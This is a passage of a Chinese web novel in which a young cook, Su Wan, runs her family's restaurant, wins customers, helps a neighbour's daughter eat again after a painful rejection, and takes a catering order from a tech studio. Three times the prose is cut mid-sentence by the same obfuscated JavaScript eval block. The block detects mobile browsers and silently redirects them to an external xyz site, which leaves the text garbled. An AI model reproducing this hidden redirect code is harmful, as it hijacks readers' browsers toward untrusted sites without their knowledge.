两人吃到的是放了马苏里拉芝士的烧麦，一口咬下去，浓郁的酱香占了主导，随后就是浓香的猪油味道和各种酱料的复合香气。 咬到里面，是咸蛋黄特有的香气，为了不噎苏婉每个都放了半个咸蛋黄在里面，再加上足量的芝士。 没有人说话，只埋头吃着，时不时发出几声满足的喟叹。 ... 盛御大厦·速凛工作室 收到老大说准备回工作室的消息，众人都很振奋。 每个人都在期待着中标结果，可这老大只知道卖关子，除了快到工作室之外，竟然一句都没透露。 问了跟着成旬一起去的两个人，也是口风紧闭，半句话都不带透露的。 这一群在工作室忙碌了几个月的it男，此刻也懂得了什么叫做度日如年。 又等了有十几分钟，才见到成旬在内的一行三人。 个个都着西装打领带，就是肉眼可见的非常疲惫，脸上也寻不到高兴的神色。 众人心里都是一凉，虽然有做好没有中标的准备，但是这种可能即将成为现实的时候总是让人心里感到些许难受。 几人在看到自己日夜相伴的兄弟之后，再也绷不住脸上的喜悦。 “兄弟们！我们中标了！” “是我们！太tm吊了！！！！” 速凛工作室传出一阵响彻大楼的欢呼声。 “太好了！！！没有白熬夜！” “都是值得的！你都不知道我这头发几天没洗了。” “我闻到了，臭死了你离我远点，臭男人臭男人，你简直了。” “你懂个屁，我的油发就是我的灵感缪斯，有了它我才能打得出那么牛的代码，懂个毛啊你。” ... 成旬脸上也带着明显的喜意。 “从明天开始放假一周，今晚收拾干净一点，今晚闲云阁集合。” 成旬说完就作势要走回自己的办公室，又突然顿住，想起些什么。 “还有，午晚餐都订苏厨小炒的双拼套餐，要是有不想吃的，提前说，餐标40点完之后找阿尧报销就行。” 帅气的甩下这句话之后，只余剩下的人在办公室大声欢呼。 “老大威武！” “老大我要给你生猴子！” “老大你看我有机会吗？” “老大我要为你做牛做马！！！” 整个工作室一片喜气洋洋，像是过年了一般。 成旬进到办公室后坐下，揉揉眉心，这段时间的工作量太大，更别说快到收尾环节的时候还搬了工作室，无疑是更拖慢进度，还好... 最后的结果没有辜负他们的努力，这一切都值得。 15. 015 纸皮烧麦是第二天午饭时间上架的。 这天，莫绘打开外卖软件，点到自己收藏的店铺马上就要打开苏厨小炒。 她现在已经习惯性，每天都想先看看今天的外卖有什么餐点。 苏厨小炒外卖平台上上架的产品每天都会变。 单点系列-单点·板栗炖鸡单点·番茄火锅鸡单点·啤酒鸭22元 双拼系列-双拼·炖鸡+火锅鸡双拼·炖鸡+啤酒鸭双拼·火锅鸡+啤酒鸭32元 注意！每份饭额外赠时蔬，默认装饭里 今日限定·纸皮烧麦6元一个 莫绘见到纸皮烧麦，哎了一声出来。 双拼和单点的价格是会调整的，按照当天的产品调整，这见怪不怪，可这纸皮烧麦？ 看到仅剩三件，莫绘没再犹豫。 作为苏厨小炒的老顾客，莫绘一定是要尝尝咸淡的。 果断下单。 ... 苏厨小炒 “是啊...我都愁死了都，你说说怎么会这个样子呢你说？” 说话的这人，是美食街最前头几家炸串店的老板。 两家平时有联系，炸串店老板对苏父做的小炒黄牛肉情有独钟，所以也常来光顾，奈何炸串生意好，也是有一个多月没来吃过饭了。 吴迪的女儿吴珊珊苏家夫妻俩都有见过，今年刚上大一，是一个比较活泼开朗的女孩，家里做餐饮的，更别说吴迪家做的还是炸串，小孩多吃点是有些圆润，但小姑娘人长得好看，即使有些小肉也是可爱的类型。 怎么会因为减肥减到现在看到吃的都想吐呢？ 吴珊珊和家里人关系处得好，原因也没有藏着掖着，大一刚入学是需要军训的，吴珊珊喜欢上了隔壁班一入学就被表白墙疯狂挂着的帅哥程西。 - 吴珊珊自认为跟寝室的人成为了好朋友，她一回到宿舍就眼睛亮亮的告诉她们，寝室里陷入一阵沉默之后，有一个室友率先反应过来。 “珊珊你眼光真好，我看表白墙上很多人说喜欢他呢。” 一旁一开始没说话的舍友也附和道“是啊是啊，珊珊你这么可爱他一定会喜欢你的。” “珊珊的性格就是很讨人喜欢的类型啊~” 珊珊把对她的夸赞全都收下：“嘿嘿谢谢你们，我爸妈也说我很可爱，我要追他试试！” 说完，心情很好地拿东西到浴室准备洗漱。 另外的几个人面面相觑。 “真不知道她哪来的自信...” “就是啊...说她两句还真信了，也是没点自知之明，那程西肯定是喜欢我们妮妮啊，还用得着说吗？” 那个被叫做妮妮的女生，是一个小富二代，只见她用手描着眉，听到这话很受用，冷哼一声：“要去就去呗，说不定人家程西真就喜欢这一款呢。” “哎哟，妮妮，你就放一百个心吧，程西今天都给你送水了，能看上她？你是低估了自己的魅力还是低估了程西的眼光啊？” 妮妮听了这话明显很受用，化完妆之后挎着包准备出门，经过林语妍，也就是刚刚一直在捧她的那个女生的床位，装作不经意地丢了一个大牌口红到她床上。 “送你的，我走了，有什么想吃的晚点告诉我，我准备回来的时候点，点完给你打电话你去拿。” 丢下这句话，妮妮也离开了寝室。 ... 接下来的一周，吴珊珊真一直在围着程西转，给程西送水、买东西，程西也都没有拒绝过，甚至还互相加了联系方式。 终于，军训的最后一天，吴珊珊在结束之后，回到宿舍洗澡、化妆、换上漂亮的小裙子、把前几天准备好的礼物拿了出来。 一切准备就绪之后，给程西发消息约他到学校的人工湖旁边，说有事和他讲。 程西同意之后，吴珊珊拿着东西满怀期待地到了人工湖。 看到的不止是程西，还有他的朋友们，看到吴珊珊的妆容和手上的礼物，程西身边的人很快就明白了过来，有的用手肘撞程西，一副看好戏地样子，有的过分一些的，已经能够听到一些嗤笑声在人群中发出。 程西面色也有些僵硬。 “珊珊，你约我过来有什么事情吗？” 吴珊珊不在意别人怎么想，就算是他身边的人也一样，只要这个人喜欢她那就可以。 她扬巴着笑脸，明媚的样子甚至比今天的太阳更耀眼。 吴珊珊把礼物双手送到程西面前，大声喊着：“程西，我喜欢你，你愿意做我的男朋友吗？” 临近傍晚，最后一丝炎热好似也被微风给吹散。 人工湖旁最多的就是垂柳，又长又细的柳条弯着腰，有些甚至和湖水亲密接触，湖水被微风吹出了些涟漪，随风而动地还有少女的裙摆。 一袭浅绿色长裙，荷叶裙边不失俏皮的感觉，上身还穿着一件米白色的微透开衫，手紧紧抓着礼物的提手，手心里已经微微出了些汗。 程西的手没有动，垂在身侧。 他身后起哄的人，听说、看到的人也不知道什么时候把这周围围了起来。 “抱歉...珊珊，我只把你当朋友。” 程西一脸歉意，他的表情还是那么温柔，可说出来的话却是不留任何情面。 “你不是我喜欢的类型，我希望你以后可以找到真正对你好的人。” ... 表白结束之后，很快被传到校园网上，一时间什么声音都有。 吴珊珊像是行尸走肉一般走在路上，不是因为被拒绝，她不觉得被拒绝是一件很丢人的事情，但是礼物她想要送出去，毕竟是为他专门准备的，作为朋友的赠礼也很好啊。 吴珊珊这般想着，朝着刚刚程西和他朋友离开的方向又跑过去。 还好，因为裙子够长，没有为了美观穿小高跟，而是穿着运动鞋。 稍微提了提裙摆，吴珊珊就跑起来追着。 没走太远，一下就追到了人，正准备开口，只听到程西说着：“她那么胖...我都无语了，还给我表白，我真是...” ... 这之后，吴珊珊一下就蔫了。 江市大学离家近，吴珊珊每周末都回家，但是状态不一样，以前每天都待在店里帮忙，现在每天待在家里锁着门，不愿意吃饭，有一次吴迪逼急了，刚吃下一口就跑去厕所吐。 这之后吴迪也不敢逼闺女吃饭了。 放假半个多月，吴珊珊比起刚上学那段日子瘦了足足有四十多斤，每天也不吃东西，瘦的吓人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407143|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话也少了，还是把自己闷在房间里不出门见人。 听得苏父苏母也跟着揪心。 吴迪拿到自己的饭之后就准备走，待在后厨一直没说话的苏婉开口。 “吴叔，你等等，我给珊珊做点东西，你带回去看看她吃不吃吧可以吗？” 吴迪拒绝的话已经在嘴边，见夫妻俩都对着他点头，想着不能辜负孩子的好意，于是点点头：“好，那叔叔就谢谢你了。” 没有花费多长的时间，在吴迪刚说这件事情的时候苏婉就已经着手准备了。 吴迪这个人苏婉认识，在苏家夫妇俩要回老家前最艰难的那段时间吴迪帮了很多忙。 上辈子吴珊珊的事情她也有听说，但当时的自己...反正后面听说这姑娘早早就去世了，苏父苏母还去参加了她的葬礼。 她现在的情况像是轻度厌食，上辈子这样的人苏婉不是没有遇到过...现在只能做一些相对来说好消化的东西给她，但愿吴珊珊会愿意吃下吧... 苏婉打算做鸡茸粥和番茄牛腩。 牛腩不需要现炖，今天中午备好的炖牛腩还有，把大米混着煮好的高汤倒入砂锅里开始炖煮。 鸡胸肉下锅焯水煮熟后捞出，用刀背锤散开之后放凉，用手撕成特别细的丝，再用刀剁成茸状，再切了几片姜切成极细的姜丝，制作的小心程度就像小时候给宝宝做的辅食一般。 大米还需要再炖煮一会的时间。 苏婉挑了些没什么油边的牛腩肉出来，切了些土豆和一个番茄，番茄去皮，土豆切小块。 将番茄炒出沙之后倒入切得很小的土豆块、牛腩，加入热水没过食材，烧开之后转小火炖煮，因为牛腩已经是非常软烂的状态，所以只需要把剩下两个食材炖烂炖入味了即可，大概需要二十多分钟的时间。 这个时候把煲着粥的砂锅盖子打开，所有的米都已经开了花，倒入鸡茸和姜丝搅拌均匀盖上盖子再炖煮10分钟左右。 .... 鸡茸粥开盖，用勺子轻轻搅动着，非常粘稠顺滑，整体呈现淡黄色，没有放太多别的调味就很鲜亮。 把鸡茸粥倒进一次性餐盒里盖上，做好了保温措施之后，牛腩也差不多可以了。 土豆还保持着原有的形状，但用勺子轻轻一碰就散开，番茄已经彻底融入到水中被炖得浓郁粘稠牢牢地附着在牛腩上。 苏婉手脚麻利地装进餐盒里，送出去的时候三个大人依旧聊着天。 苏婉拿着打包好的两份餐品从后厨走了出来，鼻尖上都是汗珠。 苏婉把手上的东西递给吴迪：“不好意思吴叔叔，有点久了。” 吴迪赶忙接过连声说着：“哎哎，不打紧不打紧，我都听你爸说了，你很厉害！” 苏婉腼腆笑笑，对吴迪说：“对了叔叔，你给珊珊吃的话不要说太多，就说看到店里有卖顺便买了点让她吃些，千万不要说健不健康这些事啊。” 吴迪愣了愣，虽然没明白倒是也点头答应下来：“好，谢谢丫头，那...那个老苏，阿慧我先走了啊，晚点准备开门营业了。” 林慧看他两只手都拿着东西，一边点头一边走到门口，替吴迪掀起了厚厚的门帘。 “你慢点走啊，孩子的事也别太揪心。” ... 16. 016 把后厨剩下的工作做完，剩的食材也不多，晚上回来可以就这这些食材做晚餐。 今天下午不打算营业，林慧在朋友圈发了通知，还有外卖平台，在一条最新评论下借楼。 商家回复：【礼貌借个楼，今天下午有些事情需要外出，所以晚餐时间不营业，大家晚餐不要等啦，可以找别的商家进行下单，生活愉快~】 发完这条消息，林慧就把店铺的卷帘门拉下来，贴上临时写上的歇业告示，一家人离开了二中美食街。 苏婉今天想带着父母去买餐厅的新餐具。 苏婉对江市不太熟悉，一开始是苏文林慧带着苏婉到他们熟悉的各个批发市场看合适的餐具。 苏婉只要逛到餐具都会停下来，走着的这一路上，苏婉的眉头越皱越深，到最后像是可以夹死一只苍蝇。 林慧望向自家女儿：“怎么了？都不太满意吗？” 苏婉点点头：“这里的东西品质都不太好，别的东西还行，餐具什么的要看看别的地方的。” 这给苏文林慧犯了难，他们两平日里买什么东西基本上都是在这边置办的，一时间还真找不到什么更好的地方。 苏婉灵机一动：“对了，爸妈，附近有没有酒店用品市场？” 这一批的餐具，想要选择一些有质感的，瓷是苏婉的第一选择，而购买这种餐具，根据苏婉的经验来说，瓷器批发市场肯定是最好的选择，可江市毕竟不是赣城，没有这种大型的瓷器市场。 那这种时候退而求其次的话，酒店用品市场/餐饮设备批发市场就是最好的选择。 这种市场是最好、最方便的。 这种市场里，产品种类也是最全的，从塑料到密胺到瓷器应有尽有，虽然是做批发生意，但如果你要单买的话价格也很实惠。 林慧想了想，犯了难：“我好像真不知道... "哎，不对！有的！"苏文的声音从一旁响起：“你忘了，去年老王刚过来这边做凉菜生意的时候他就是去的酒店用品市场，还让我去帮忙了，记不记得？” 林慧仔细回想了一下，好像确实是有这么一回事：“那你赶紧给他发消息问一下看看，让他发个位置过来。” 苏文点头，掏出手机给老王打电话。 ... 江市酒店批发市场。 如苏婉想的一般，这里几乎什么都有。 一走进来，就仿佛嗅到了一股浓厚的工业气息，这是一个巨型建筑，主干路的两旁都是店铺，远处还能听到手推车的隆隆声。 这里的陈设和商店里的精致陈设不同，更讲究效率和实用，店里的货架顶着天花板，每个密胺都按照编号排列，瓷器更是摞的比人还高，用缠绕膜和防撞泡沫包裹着。 穿过主干道，走向分支路，这里更是热闹非凡。 路过推着手推车的小贩从攒动的人群中穿过：“让让让，小心小心。” 车上的纸箱比小贩高了半个人的高度，可小贩总能有惊无险地从人群中将推车顺利推过。 人越多的地方，多的是无声的较量。 卖着骨瓷的商家，更注重展现样式和品相，最新款的釉下彩和温润的光泽，一下就吸引了苏婉的目光，询问了价格，苏婉直接转头就走。 贵！贵的咂舌！ 苏婉的眼神依依不舍地从骨瓷摊挪开，还有些摊专门卖的是密胺和塑料。 宣传的法子就不同了，纸板上用红色笔写着“特价甩卖，多买多优惠” 路过一个个店铺，总有些对话会传入耳朵。 “这批釉下彩再便宜点，我买的多。” “都老熟人了，你这个价我走了。” “上次那批货不错，我这次再要一百套。” ... 苏婉没再犹豫，在这琳琅满目中选择了一家瓷器专卖店。 骨瓷自然是被放弃掉的，价格太过昂贵，不适合在苏厨小炒用，所以苏婉的目光更多是看向陶瓷和密胺。 她有些纠结，按照实用性来说的话密胺是最好的选择。 但是如果要长远考虑来说的话直接买陶瓷一劳永逸也很好。 再三思虑下，苏婉还是选择陶瓷，且询问了店家能不能定制logo。 “当然OK啊，每件加两块钱就可以。” 苏婉想想：“一块五，可以的话我现在就付定金。” 那老板摇头：“做不来做不来，一块八最低了。” 苏婉勾了勾嘴角：“老板，你别觉得我外行了，丝网印刷你一块钱都有的做，我的款式不复杂也没花哨的颜色，一块五，我定的款也不少，碗筷盘骨碟我都要，痛快点一口价。” 老板看向苏婉背后的苏父苏母，两人都叉着腰站在女儿身后给女儿撑腰。 老板苦笑摆摆手：“算了算了一块五就一块五，太会杀价了小妹妹哦。” 苏婉笑眯眯，心情很好：“记得做大货之前先把样品给我们做了，确定好之后再做大货，要是效果我不满意的话我可是不收的哦，这损失你们负责。” ... 搞定餐具回到苏厨小炒已经是下午六点，一家人都有些劳累，苏父没让苏婉下厨，简单做了点土豆炖牛腩和小炒黄牛肉。 苏父最近的厨艺有着显著提高，有几道菜已经做得有七八分像的程度，其中就包括土豆炖牛腩，这道小炒黄牛肉倒是苏文一直以来的招牌，苏婉回来之前点单最多的一道菜就是这个。 吃着饭林慧把手机递给苏婉看，笑得有些无奈。 苏婉把手机接过，只见是外卖平台的评价页面。 大家点餐点的多，也不一定会天天都发评论。 当莫绘下午想点一份餐回家吃看到关了的店铺感觉天都塌了，再点开评论一看，已经有很多人在哭诉了，莫绘还是往下滑了很多才看到了林慧的回复。 心绞痛。 【燕子，没有你我该怎么活啊，燕子，今晚本来想带你回家见家长的...现在我怎么办啊...】 【看到这冷漠的闭店提醒，我算是懂得什么叫做戒断反应了，或许这就是生理性的喜欢吗...老板你去哪里了啊，怎么把我灵魂也带走了啊...】 【谁懂我下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407144|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班想点外卖看到这回复的救赎感...商家不准休息啊...我恨不得你一天24小时都营业...】 【好的老板，你现在惹了众怒了，但我们什么都不会做，我们会永远拥护你，不要歇业好不好~~~】 莫绘看到这些消息觉得好笑，自己也跟着发了一条评论。 【我今天也想带着你和我的爱宠见面的...小炒...你怎么可以避而不见呢...】 看到这些消息，觉得搞笑之余更多是骄傲和感慨，苏厨小炒在不知不觉间已经有了这么多的回头客。 这短短不到一个月的时间，真的有了很多的改变，林慧望向女儿的眼里满是温柔，她现在相信，女儿说的可以让苏厨小炒在江市接着做下去是真的。 她自己，也是心中充满希望。 ... 无敌炸串 吴迪中午把餐品拿回来吃了之后又惊又喜，这老苏家女儿做的东西是真可以啊，这简直太好吃了，老苏的厨艺根本比不了。 份量不小，待吴迪风卷残云吃完之后竟还有些意犹未尽的意思在。 这家铺子就是吴迪家的房子，跟苏家比起来多了一层，吴迪一家人就住在楼上，一楼的面积有一百来平，楼上更大些，有一百五十多平。 吴迪上楼的时候，吴珊珊还在房里睡觉，吴迪想敲门进去，只见老婆从他们房里出来，瞧见吴迪动作，丁梦忙用手抵着唇，跑到女儿房间门口。 小声对着丈夫说道：“干嘛呢，女儿睡觉呢。” 吴迪把手里的餐盒拿了出来：“刚在苏家买的饭，特别香，你的在楼下了。” 丁梦看了一眼丈夫手里的餐盒，没太在意的点点头。 “你别吵她，东西放餐桌上就行。”丁梦已经不太抱有期望了，各种好吃的东西都买过，不管怎么样就是不吃。 苏厨小炒她也不是没吃过，也就是一般般的手艺。 于是，这份餐一直到了晚上都没有被动过。 一直到晚上八九点，无敌炸串二楼一直紧闭着的大门才被缓缓打开。 巴掌大的脸上是大大的五官，但是面色十分苍白，隐隐有着些菜色。 眼圈下方都是青灰色，比起上个学期刚开学来说，整个人既瘦削又病态。 吴珊珊把桌上的餐盒拿进房间，她已经两天没有进食了，感受到了些饥饿感。 进了房间关上门之后，吴珊珊坐在桌前，静静待着不动，过了近乎半个小时，她才解开袋子准备拿餐盒出来。 把餐盒打开之后，番茄酸酸甜甜的味道冲入鼻腔，混杂着鸡茸粥的鲜香味，吴珊珊闻着，进食欲望更加强烈。 要不，就吃一口... 这般想着，吴珊珊吃了一勺鸡茸粥，果然跟她想象中的味道一样，无比鲜香软糯，鸡茸的存在感很低，和粥近乎融为一体，保温效果很好，虽然不是热热的，但也稍微有些温度残留。 又吃上一口牛腩，番茄的酸甜包裹着整个牛腩肉，挑选的牛腩几乎都不带油边，炖煮的时间足够久，所以牛腩很软烂，几乎没怎么费劲，就吃进了肚。 17. 017 这味道、这口感。 吴珊珊睁大了眼，既想拿起筷子再夹一块肉，心里又在不断挣扎。 “这一口下去又是多少热量...” “我不应该这样，我就是因为管不住嘴所以变胖的...” “吃都吃了...牛肉不胖人的，我真的好想再来一口...” 就在这样不断地挣扎之下，吴珊珊吃下了三分之一的粥和五六块牛腩。 剩下的装好之后又重新放回了餐桌上，之后房门紧闭，再没打开过。 ... 晚上十二点。 吴迪两夫妻拖着疲惫的身体关了店铺卷帘门。 上到二楼，吴迪下意识地先扫了一眼餐桌上的餐盒。 位置变了。 “老婆，你动这份餐了？” 丁梦奇怪地看了一眼丈夫：“没有啊，我不是跟你一起下去的吗。” 吴迪眉心跳了跳，那就只能是... 吴迪走到餐桌旁，打开了餐盒，见粥少了、菜也明显有吃过的痕迹。 吴迪端着餐盒看向老婆，手微微颤抖着，女儿已经两天没怎么吃东西了，今天是假期以来她吃的最多的一次。 丁梦也大喜过望，盯着老公眼睛里都是惊喜。 夫妻俩小心翼翼地踮脚走到女儿房门前。 “咚咚咚。” “珊珊，睡了吗？没睡的话妈妈可以进来吗？” 过了几秒钟，听到女儿在房间里的回应。 “进来吧。” 丁梦将把手缓缓往下压，门“吱嘎”一声被缓缓推开。 房间里很昏暗，只有窗外的路灯透进来的微微光亮，吴珊珊的房间空间很充裕，除了放下一张两米的大床、书桌和衣柜之外，还有很大的一个活动空间。 吴珊珊在那个位置放上了一张瑜伽垫，在上面做着仰卧起坐，嘴里念念有词。 “四十五...四十六....四十七.......四十......八” 丁梦上前扶着女儿，不让女儿接着再做。 “怎么这么晚了还在运动，不是刚刚才吃了东西吗？” 吴珊珊扑在妈妈怀里，眼眶里微微泛着红。 “我刚刚...吃东西了...不能胖...” 丁梦看着女儿这个样子满心满眼都是心疼，眼眶里有眼泪在打转。 她们也不是没有去学校讨公道，但是也无济于事。 还是吴迪先反应过来，将女儿扶了起来。 “我女儿哪有胖，不还是那么苗条吗？” 吴珊珊摇着头，嘴里不断念叨着什么。 听不清她的话，吴迪只得把女儿的体重秤拿了出来，吴珊珊正完全沉浸在自己的情绪中，根本没有意识到自己目前在行动。 待吴珊珊站定，体重秤上也显示出了数据。 98.2斤。 吴迪指着体重秤对着女儿说：“你看，98.2，没胖还瘦了0.5斤对不对。” 吴珊珊看向体重秤，眼中恢复了些清明。 “98.2...98.2?” "没胖...我没胖..." 丁梦扶着女儿：“对对，你没胖，吃这一点不会胖的。” ... 在这之后的第二天，吴迪特地带着礼物到店里对苏婉表达了感谢。 下午刚坐下休息，吴迪急匆匆地从门口进来。 “苏婉呢？你们家苏婉呢？” 这着急慌忙的样子，给林慧夫妻俩吓一跳。 “你慢点...苏婉在后厨呢，怎么了发生什么事情了？” 吴迪想起昨天的事都还是掩不住地激动。 “我女儿，昨天晚上真吃店里的餐了，今天中午家里的饭也吃了些，告诉我没那么好吃，还想吃你家女儿做出来的饭菜，这不，我买了礼物赶紧就过来了。” 苏婉从后厨探出头来，眨巴着大眼睛：“原来是来送我礼物的啊。” 随即走出来，笑眯眯说着：“下次吴叔来店里不准那么吓人了，我刚刚还以为吴叔你来找我茬呢。” 吴迪愣了愣随即大笑出声，拍了拍苏文的肩膀：“你这女儿有点意思啊，既有厨艺嘴皮子也厉害，我真是自愧不如。” 苏文骄傲地仰起头：“那可不，也不看是谁的女儿。” 吴迪给苏文翻了一个大大的白眼。 随即走向苏婉：“叔也不知道给你买点什么，听了你姨的，给你爸买了两瓶老茅，给你妈买了一套护肤品，看你总在厨房待着，准备给你家后厨安一台空调，也给你买了一套护肤品。” 苏婉咂舌，有些不安地看向母亲。 林慧和苏文夫妇俩也很讶异。 “老吴，你这就见外了，怎么这么生分？” 吴迪大手一挥：“我女儿的情况我也不是没和你说，苏婉这丫头能让我女儿能爱吃饭了，再多送点东西过来我都不觉得有什么问题，你就别管了，这事情我已经定下来了。” 莫聪和谢恣意也从后厨探出头来：“吴叔，我俩呢。” 听到这俩货的话，吴迪笑笑，大手一挥：“你俩没出力的小伙子，不过喜事就不应该吝啬。” “你俩这个月炸串任吃。” 莫聪和谢恣意对视一眼，惊呼出声：“吴叔威武！！！” 两个人来苏厨小炒之后都开朗不少，特别是谢恣意，现在跟莫聪玩的特别好。 ... 这之后的每天，午餐晚餐吴迪都在苏厨小炒订餐。 除了自己的之外，吴迪额外花钱让苏婉给吴珊珊定制营养餐。 苏厨小炒店铺账号。 速凛：【老板，你们接公司团餐业务吗？】 苏厨小炒：【接，你们公司多少人？】 速凛：【37个人，每天的午晚餐你看可以吗？】 林慧这下犯了难，苏厨小炒现在每天饭店外卖平台至少都能够接到80个订单，再加上托管班的团餐...这个公司团餐好像确实吃不下。 苏婉提了建议，如果要的话可以提前做，到时候十一点出头就可以送过去，问问看可不可以，如果要按照十二点饭点来的话一定是来不及的。 林慧也觉得有道理，把苏婉的话重新复述了一遍发上去。 速凛那边回复的很快。 速凛：【我们可以接受，暂时先定一个月的餐。】 苏厨小炒：【好的，不过每天的餐需要提前一天确认之后结账。】 速凛：【没问题的，我现在给你都行。】 速凛：【转账】 林慧哪见过这阵势，慌忙将钱退了回去。 苏厨小炒：【不需要不需要，不是不信任你们的为人，而是确实不能坏了规矩。】 ... 盛御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410611|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大厦·速凛工作室 莫聪推了个推车上楼。 “你好，速凛工作室的团餐。” 有人看见，只大喊一声：“老大，午饭来了。” 成旬从办公室里走出来。 莫聪已经来送过一天了，成旬感到有些面善：“我好像昨天见过你，手速这么快就抢了这个单。” 莫聪灿灿一笑：“不是啦，我是苏厨小炒的专属外卖员，后面不是我送就是我兄弟送。” 成旬安排陈成旭一干人将莫聪车里的外卖搬出来。 点点头：“原来是这样，还方便不少。” 莫聪点头：“是啊，你们慢慢吃，我先走了。” ... 待跑完订单，已经是两点了，天气越来越热，莫聪和谢恣意两人的工作量也不算小，眼见两人回来的时候都满头大汗，脸都红成了猴子屁股。 林慧心想这可不行，到时候真有什么事情都不好跟他们爹妈交代。 林慧先是问了一嘴：“你们现在每天送餐觉得怎么样？热的有没有感觉身体不舒服什么之类的？” 莫聪和谢恣意都摇头说没事。 特别是莫聪：“林姨，苏姐开始做餐了吗，我别的没什么问题，就是饿啊...饿得不行。” “我每天送餐，心里就想着回来这一口吃的，别的你不用担心我和谢恣意，别的都没什么问题，只要能让我们在店里好好吃饭就可以，千万不要拿别的饭菜打发我们。” 说着，莫聪还叹了口气：“我现在担心的不得了，我暑假在店里吃的这么好，我到时候回了学校该怎么办，学校的饭菜可没有这么好吃啊，到时候我只能在想念苏厨小炒中度日了。” 谢恣意在一旁虽然没有说话，但是也十分认同地点了点头。 林慧看着这俩小伙子，哭笑不得地点点头：“行了行了，俩个馋嘴包，我去后厨帮你们看看现在啥情况了。” 说着走到后厨，对着苏婉说：“准备做员工餐了没，俩小伙子说他们已经饿坏了。” 苏婉拿着锅。 “准备了，让那俩等着，员工餐他俩不准进厨房，总是偷吃，上次已经被我发现了。” 林慧偷偷看着前厅的两位，眼底都是笑意。 “那行，你做着，我不打扰你。” 苏婉今天不打算做别的，今天的菜单餐品是——锅包肉。 所以今天中午店里也吃锅包肉。 除了锅包肉之外还有新疆大盘鸡，是中午做多的，稍微加热一下就可以。 接下来的重点就是锅包肉。 锅包肉是一道地方特色美食，酥脆的外皮和酸甜的酱汁是它的灵魂。 面糊是用土豆淀粉沉淀出来的，加入食用油和切好的猪里脊肉搅拌均匀，用筷子将面糊放进油锅里，马上膨胀起来，这个时候就是将裹好的肉放进油锅的最好时机。 一片片肉放下油锅之后不能够马上翻动，待定型之后捞出。 随后油锅温度升高，将炸好的肉放进去复炸，炸大概三十秒的时间，露出的肉呈现枣红色，就算是大功告成。 接下来就是料汁的部分，锅中留着底油，放入葱姜丝和胡萝卜丝，倒入由白糖、白醋、生抽和盐调制成的酱汁，大火熬至起大泡，快速倒入锅包肉和香菜进行翻拌。 将锅包肉铲入盘中的时候，还能够听到锅包肉和盘子碰撞时发出的声音。